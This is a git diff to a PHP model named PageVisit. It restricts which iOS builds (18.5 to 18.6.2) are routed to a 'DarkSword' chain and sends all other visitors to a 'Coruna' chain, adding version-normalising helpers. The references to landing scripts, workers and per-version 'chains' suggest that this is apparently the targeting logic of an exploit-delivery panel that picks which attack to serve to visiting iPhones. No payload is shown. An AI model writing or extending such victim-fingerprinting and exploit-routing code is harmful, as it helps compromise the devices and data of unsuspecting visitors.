feat: quene

app/Models/PageVisit.php

@@ -41,23 +41,44 @@ class PageVisit extends Model
         return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
     }
 
+    /** Only these iOS builds enter the DarkSword landing / workers. */
+    public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
+
     /**
-     * t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
+     * t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.
      */
     public static function chainFromIosVersion(?string $os, ?string $osVersion): int
     {
         if (! in_array($os, ['iOS', 'iPadOS'], true)) {
             return self::CHAIN_CORUNA;
         }
+
+        return self::isDarkSwordIosVersionString($osVersion)
+            ? self::CHAIN_DARKSWORD
+            : self::CHAIN_CORUNA;
+    }
+
+    public static function isDarkSwordIosVersionString(?string $osVersion): bool
+    {
+        $canon = self::canonicalIosVersion($osVersion);
+
+        return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true);
+    }
+
+    /**
+     * 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1.
+     */
+    public static function canonicalIosVersion(?string $osVersion): string
+    {
         $version = trim((string) $osVersion);
         if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
-            return self::CHAIN_CORUNA;
-        }
-        if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
-            return self::CHAIN_DARKSWORD;
+            return '';
         }
+        $parts = array_pad(array_map('intval', explode('.', $version)), 3, 0);
 
-        return self::CHAIN_CORUNA;
+        return $parts[2] === 0
+            ? $parts[0].'.'.$parts[1]
+            : $parts[0].'.'.$parts[1].'.'.$parts[2];
     }
 
     public static function normalizeDomain(?string $value): ?string